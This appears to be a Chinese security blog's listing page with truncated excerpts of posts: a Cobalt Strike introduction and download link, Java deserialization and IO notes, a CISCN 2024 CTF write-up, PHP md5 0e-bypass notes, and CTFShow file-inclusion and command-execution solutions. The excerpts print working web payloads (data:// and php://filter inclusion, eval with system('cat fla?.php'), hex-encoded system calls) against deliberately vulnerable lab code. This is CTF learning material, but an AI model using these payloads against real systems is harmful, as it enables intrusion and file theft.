CS免杀知识
CS安装教程一、CobalStrike简介 Cobalt Strike(简称为CS)是一款基于java的渗透测试工具,专业的团队作战的渗透测试工具。CS使用了C/S架构,它分为客户端(Client)和服务端(Server),服务端只要一个,客户端可有多个,多人连接服务端后可协同测试,与其他人分享shell。
cs的主要功能是在已经取得攻击目标的控制权后,用于持久化、横向移动、流量隐藏以及数据窃取等操作。
当我们在目标主机上成功执行了 CS 的 payload(有效载荷/攻击模块/攻击方式)后,它会自动的创建一个 Beacon,也就是远程控制木马,然后通过与 C2 服务器建立连接,使攻击者能够远程控制被攻击主机并且获取所需信息。
二、安装地址https://github.com/k8gege/Aggressor/releases/tag/cs
我虚拟机装的是
windows装的是cs4.8
https://blog.csdn.net/m0_60571842/article/details/132920672
三、运行要求的环境因为cs是基于java的环境, ...
Java序列化和反序列化
Java反序列化基础-01向drun1baby大佬学习
0x01序列化和反序列化1.什么是序列化和反序列化?Java序列化是指把Java对象转换为字节序列的过程;Java反序列化是指把字节序列恢复为Java对象的过程;
2.为什么要序列化?对象不只是存储在内存中,它还需要在传输网络中进行传输,并且保存起来之后下次再加载出来,这时候就需要序列化技术。Java的序列化技术就是把对象转换成一串由二进制字节组成的数组,然后将这二进制数据保存在磁盘或传输网络。而后需要用到这对象时,磁盘或者网络接收者可以通过反序列化得到此对象,达到对象持久化的目的。
3.几种创建的序列化和反序列化协议XML&SOAPJSONProtobuf
0x02ObjectOutputStream 与 ObjectInputStream类1.ObjectOutputStream类java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。序列化操作一个对象要想序列化,必须满足两个条件:1.该类必须实现 java.io.Serializable 接口, Seri ...
Java-IO流
学Java不知道IO流是什么怎么下去向drun1baby大佬学习
IO流什么意思?IO是指 Input/Output,即输入和输出。以内存为中心:
为什么要把数据读到内存才能处理这些数据?因为代码是在内存中运行的,数据也必须读到内存,最终的表示方式无非是 byte数 组,字符串等,都必须存放在内存里。
从 Java 代码来看,输入实际上就是从外部,例如,硬盘上的某个文件,把内容读到内存,并且以 Java 提供的某种数据类型表示,例如,byte[],String,这样,后续代码才能处理这些数据。
因为内存有“易失性”的特点,所以必须把处理后的数据以某种方式输出,例如,写入到文件。Output 实际上就是把 Java 表示的数据格式,例如,byte[],String等输出到某个地方。
IO 流是一种顺序读写数据的模式,它的特点是单向流动。数据类似自来水一样在水管中流动,所以我们把它称为 IO 流。
在看IO流之前先了解一下java关于文件的操作有助于我们理解IO流
1234代码在:C:/Users/86182/Desktop/JavaStudy/IOStream/???.java新文件创 ...
2024-CISCN-线上初赛
复现平台ctfshowhttps://ctf.show/challenges
在博主打比赛的时候只解出了simple_php,easycms只能说还得练啊≥^≤
simple_php发现禁用了很多命令,但是我们可以通过
1php -r
来利用服务器执行php代码间接执行系统命令
在这我采用16进制来采取编码
1234567891011121314<?php// 原始字符串$originalString = "system('ls /');";// 使用 bin2hex 函数将原始字符串编码为十六进制$hexString = bin2hex($originalString);// 输出十六进制字符串echo "Hexadecimal encoded string: " .$hexString . "\n";// 使用 hex2bin 函数将十六进制字符串解码回原始字符串$decodedString = hex2bin($hexString);// 输出解码后的原始字符串echo "Decode ...
md5加密相关知识
md5加密相关问题强比较:使用三个 ‘’===’’ 比较,比较值,也比较类型
弱比较:使用两个 ‘’==’’ 比较,只比较值,不比较类型
a==b 将a,b的值转换成同类型再比较值
a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false
为什么会存在0e绕过?其实主要是因为科学计数法的存在0e232的表示形式就像是0x10的232次方一样,其在==比较中被认为是和0相等的那么当我们用两个0e来进行比较时他们不就相等了吗,但是在三个等号的比较中其实这被认为是不相等的他会直接让他们去比较,不再去让其进行内部运算追求极致相等.这点你可以尝试一下
12345678<?php $v1 = $_GET['v1']; $v3 = $_GET['v3'];var_dump($v1 == $v3);var_dump($v1 === $v3);get传参:v1=1e1&v3=10它返回的是true false
相关口诀
123456数组绕过,0e绕过QNKCDZO 240610708 常用md5( ...
CTFSHOW入门-文件包含
web781234if(isset($_GET['file'])){ $file = $_GET['file']; include($file);}
尝试利用php伪协议中的data伪协议尝试查找flag文件
1?file=data://text/plain,<?php system('ls'); ?>
或者可以直接尝试利用过滤器直接处理flag.php
1?file=php://filter/convert.base64-encode/resource=flag.php
web7912345if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file);}
由于添加了过滤,但又没完全过滤他这个写法是只是过滤了小写php相 ...
CTFSHOW入门-命令执行
Web29关键字过滤绕过12345if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); }
由于是过滤了flag我们直接利用通配符?号也可以利用*号,最后拓展一个不常用的就是还可以利用正则
123?c=system('ls');?c=system('cat fla?.php');?c=system('cat fla[^0-9].php');
然后查看源代码即可
Web30关键字过滤绕过1234567if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); ...
CTFSHOW入门-信息收集
Web1源代码包含敏感信息右键查看源代码拿到flag
Web2js禁用利用火狐插件禁用掉js然后查看源代码
Web3回显包泄露抓包再发包
Web4robots.txt泄露12User-agent: *Disallow: /flagishere.txt
访问即可
Web5phps源码泄露根据提示猜测是index.phps
Web6压缩包泄露访问www.zip下载下来,文件fl000g.txt提示flag_here,url访问fl000g.txt拿到flag
Web7.git泄露dirsearch扫描发现/.git/访问得到flag
Web8.svn泄露使用 dirsearch 进行目录扫描
发现 /.svn
访问 /.svn 得到Flag
Web9vim信息泄露根据提示,在Linux生产环境上使用vim或者vi做修改时,会生成一个swp为后缀的文件
第一次意外退出生成的是.swp
第二次意外退出生成的是.swo
第三次为.swn
因此可以尝试打开第一次退出时产生的这个文件,输入url/index.php.swp
Web10cookie信息泄露抓包看cookie
Web11域名信息 ...